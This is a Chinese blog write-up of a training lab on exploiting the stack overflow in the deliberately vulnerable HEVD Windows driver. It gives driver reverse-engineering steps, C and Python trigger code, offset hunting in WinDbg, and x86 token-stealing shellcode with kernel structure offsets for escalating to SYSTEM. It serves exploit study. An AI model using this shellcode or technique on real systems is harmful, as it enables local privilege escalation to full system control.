HEVD第二部分缓冲区溢出学习(HEVD-3.0)

驱动分析

HEVD.sys可以使用自己编译的也可以使用Hacksys编译好的

找到返回地址劫持返回地址

首先使用IDA打开HEVD.sys
打开IoCreateDevice
在这里插入图片描述
call 函数后面的@28代表是7个参数在这里插入图片描述
我们可以得到设备名,和链接名
然后我们需要找到IRP派遣函数Device_IO_Control,控制码在common.h中定义
在枚举设备名称之后,我们还需要识别 HEVD.sys 中的所有 IO 控制代码。由设备驱动程序定义的每个 IO 控制代码都执行一组独特的操作。识别这些 IO 控制代码的一个好方法是通过IofCompleteRequestIDA Pro 中的导入函数。

IofCompleteRequest驱动程序使用它来指示 IRP 请求已完成(随后返回状态)。为了使对驱动程序的 IRP 请求成功,需要将有效的 IO 代码传递给驱动程序…IofCompleteRequest为识别驱动程序接受的 IO 代码提供了一个可行的选项。
同样在Imports窗口, IofCompleteRequest
在这里插入图片描述
共有28个派遣函数,,
然后在最后会返回状态,和返回的字节数,以及调用IOcompleteRequest结束IRP的处理流程(函数参数为Pirp,IO_NO_INCREMENT(默认为0))
在这里插入图片描述
看到IrpDeviceIoCtlHandler ,这些标签,应该就是switch不同的控制码进行分发
//控制码
uIoCode = pStack->Parameters.DeviceIoControl.IoControlCode;
在这里插入图片描述
然后按下空格键就可以转为图形
在这里插入图片描述
在这里插入图片描述
堆栈溢出的 IO 代码是0x222003
也可以查看源码,根据源码计算
源码:

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)


//
// IOCTL Definitions
//

#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS                      IOCTL(0x801)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)

CTL_CODE的定义

#define CTL_CODE(DeviceType, Function, Method, Access) (
  ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)
)

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x800 << 2) | 0x00000003) = 0x222003

在这里插入图片描述

bug分析

在这里插入图片描述
看源码,是由于使用用户自己输入的size进行初始化内存,没有对size进行判断,所以造成了溢出
在这里插入图片描述
跳入TriggetBufferOverflowStack函数

在这里插入图片描述
ProbeForRead (UserBuffer, sizeof (KernelBuffer), (ULONG) __alignof (KernelBuffer));验证缓冲区是否处于用户模式
目前我们可以知道的是:

  • HEVD 用于客户端打开驱动程序句柄的符号链接是"\Device\HackSysExtremeVulnerableDriver"

  • 向堆栈溢出漏洞发出 IRP 请求的 IO 代码是0x222003

  • 用户提供的缓冲区大小需要大于 0x800h(或十进制 2048)才能触发错误。

漏洞利用

可以看到创建文件大概有这么多参数,分别是
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
CreateFile,CreateFileA,CreateFileW其实是一样的只不过由于编码不一样,会由编译器来处理,
使用CreateFile,在linkName字符串赋值前要加L
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
lpFileName:表示创建或打开文件或设备的名称
dwDesiredAccess:对文件或设备的请求访问权限,可以为读取、写入、两者或 0 表示两者都不是。
dwShareMode:请求的文件或设备的共享模式,可以是读取、写入、两者、删除
lpSecurityAttributes:此参数可以为 NULL。如果此参数为 NULL,则 CreateFile 返回的句柄不能由应用程序可能创建的任何子进程继承
dwCreationDisposition:要对存在或不存在的文件或设备执行的操作。对于文件以外的设备,此参数通常设置为OPEN_EXISTING。
dwFlagsAndAttributes:文件或设备属性和标志FILE_ATTRIBUTE_NORMAL是文件最常见的默认值。
hTemplateFile:具有GENERIC_READ访问权限的模板文件的有效句柄。模板文件为正在创建的文件提供文件属性和扩展属性。此参数可以为 NULL。

接下来就是
在这里插入图片描述
DeviceIoControl(hdevice, CTL_PRINT,InputBuffer,sizeof(InputBuffer),outputBuffer,sizeof(outputBuffer),&dwRet,NULL);
//参数:句柄,控制码(要和0环的一样),用于发送到0环的缓冲区,大小,用于接收回来的buffer,sizeof,实际上到底回来多少buffer,同步异步

C语言漏洞利用代码

#include<stdio.h>
#include<Windows.h>

#define LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
#define IO_CODE 0x222003
int main() {
	
	printf("[+] calling createFile() to obtain a handle to the driver..\n");
	HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3,0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("[-] Error - Unable to obtain a handle to the driver..\n"); 
		exit(1);
	}	
	printf("[+] Successfully obtained a handle to the driver. .\n");
	// Declane 'bytesRetn' variable for'DeviceIocontrol -> lpBytesReturned' parameter 
	DWORD bytesRetn;
	// set 'expl' variable to match the buffer size specified in analysis (0x800 or 2048 decimal) plus 0x100
	char exp1[0x800];
	// Fill 'expl' variable with "A"S
	memset(exp1, 'A', sizeof(exp1));
	printf("[+]starting interaction with the driver..n");
	DeviceIoControl(hDevice, IO_CODE, exp1, sizeof(exp1), NULL, 0, &bytesRetn, NULL);
	CloseHandle(hDevice);
	return 0;
}

变异运行
在这里插入图片描述
python代码

import struct ,sys
from ctypes import *
from subprocess import *

LINK_NAME =  "\\\\.\\HackSysExtremeVulnerableDriver"
IO_CODE = 0x222003
kernel32 = windll.kernel32

def main():
    print("[+] calling createFileA() to obtain a handle to the driver..\n");

    hDevice = kernel32.CreateFileA(LINK_NAME, 0xC0000000, 0, None, 0x3,0, None);
    if not hDevice or hDevice == -1:
        print("[-] Error - Unable to obtain a handle to the driver..\n"); 
        sys.exit(1);

    print("[+] Successfully obtained a handle to the driver. .\n");
    bytesRetn = c_ulong();
    exp1 = "a"*2048
    print("[+]starting interaction with the driver..n");
    kernel32.DeviceIoControl(hDevice, IO_CODE, exp1, len(exp1), None, 0, byref(bytesRetn), None);
    kernel32.CloseHandle(hDevice);
    
if __name__ == "__main__":
    main()

接下来启动测试环境,对触发溢出函数下断点
发现符号环境没了,重新在加载一次

!sym noisy
.reload;ed Kd_DEFAULT_Mask 8;
bp HEVD!TriggerBufferOverflowStack
在这里插入图片描述
我以为第一次没有设上断点。。
在这里插入图片描述
运行编译过后的程序,windbg断下,这个时候如果继续让他执行,不会报错,因为前面代码我们给的大小刚好等于0x800
在这里插入图片描述
继续执行
在这里插入图片描述

然后我们修改大小
在这里插入图片描述
在这里插入图片描述
EIP 被覆盖0x41414141刚好是AAAA在这里插入图片描述
然后就是找到偏移量,覆盖那个EIP,
前面800个肯定是没事的,我们只需要覆盖最后0x100个就行或者0x900
在这里插入图片描述
在这里插入图片描述
可以看到偏移为2080在这里插入图片描述
确定该位置是否对
在偏移处写上BBBB发现是对的
在这里插入图片描述

控制返回地址,ret2shellcode

确定偏移之后就可以控制执行流程了,接下来就是怎么提权?、在这里采取的是使用token替换的方法。
首先分为四步

  • 获取指向 KTHREAD 和 EPROCESS 的指针
  • 爬取 ActiveProcessLinks 双向链表,直到找到 SYSTEM 的
  • PID 保存SYSTEM token并将目标进程(攻击者的进程)中的token替换为SYSTEM token
  • 恢复执行/保持完整性

(其实用windbg直接替换,只需要拿到system token然后拿到待运行程序的token之后,替换就可以成为system权限了,可直接搜索,都有博客介绍)

执行过程:exe/执行文件->API->kernel32.dll/其他dll.API->kernelba.dll.API->ntdll.dll->ntdll.KiFastSystemCall->sysenter(指令)[进入0环]

首先要获取这些指针
像IDT,GDT,IRP派遣都在这KPCR,这个结构体就是CPU的一个状态。
寄存器大部分保存在KTRAP_FRAME在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后我们看一下KTHREAD
在这里插入图片描述
+0x040 ApcState 指向 KAPC_STATE 数据结构的成员的偏移量。

KAPC_STATE 数据结构用于线程调查与其关联的进程。因此该结构包含我们需要的一些重要信息。
在这里插入图片描述
与 KTHREAD 结构类似,KPROCESS 结构是 EPROCESS 结构的更大数据结构的一部分

X64下的token偏移为0x208
X86下的token偏移为0xf8

x64:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
x86:我们主要看标红的那三项
在这里插入图片描述
第一项:system PID 4在这里插入图片描述
第二项:EPROCESS.ActiveProcessLinks是一个双向链表(指向前一个和后一个节点的指针),其中包含本地系统上的所有其他活动进程。
在这里插入图片描述
第三项:TOKEN EPROCESS 结构中的 Token 成员包含分配给进程的访问令牌。这是我们想要复制到我们选择的进程的特权数据
在这里插入图片描述
在这里插入图片描述
然后我们就找到了一些偏移
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

KTHREAD_OFFSET = (PrcbData)0x120 +0x4(CurrentThread)
EPROCESS_OFFSET = 0x040 (ApcState:_KAPC_STATE)+0x010 (Process: Ptr32 _KPROCESS)

编写shellcode,替换token

使用Hacksys提供的payload.c
共有七个方法实现
在这里插入图片描述
同前面分析的文件类似,fs:120h就指向PrcbData
[PrcbData+4]->CurrentThread _KTHREAD
[CurrentThread +0x040 + 0x10]–> _KAPC_STATE.ApcState->Process

pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, [fs:eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax                         ; Set NTSTATUS SUCCEESS
        add esp, 12                          ; Fix the stack
        pop ebp                              ; Restore saved EBP
        ret 8                                ; Return cleanly

上述代码的意思就是:保存寄存器状态,找到当前进程并保存,然后找到SYSTEM进程pid,提取SYSTEM进程令牌,用SYSTEM进程令牌替换当前进程的令牌,并恢复寄存器。

原代码的第五行改为[fs:…]不然报错操作码和操作数的组合无效
然后就是将汇编代码,转为机器码,然后复制为C语言

在这里插入图片描述
在这里插入图片描述

使用VirtualAlloc(),我们将能够创建一个新的可执行内存区域来放置令牌窃取 shellcode。在创建由 VirtualAlloc() 创建的可执行内存区域之后,我们将复制令牌窃取 shellcode 到该可执行内存区域RtlMoveMemory()

然后执行生成的文件
在这里插入图片描述
OK了!!!

参考文章:https://jb05s.github.io/HEVD-Driver-Exploitation-Part-2-Stack-Overflow-Presented-in-Python-and-C/ 主要是参考第一篇
https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
明日计划:Windows内核驱动继续学习,HEVD第三部分练习

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值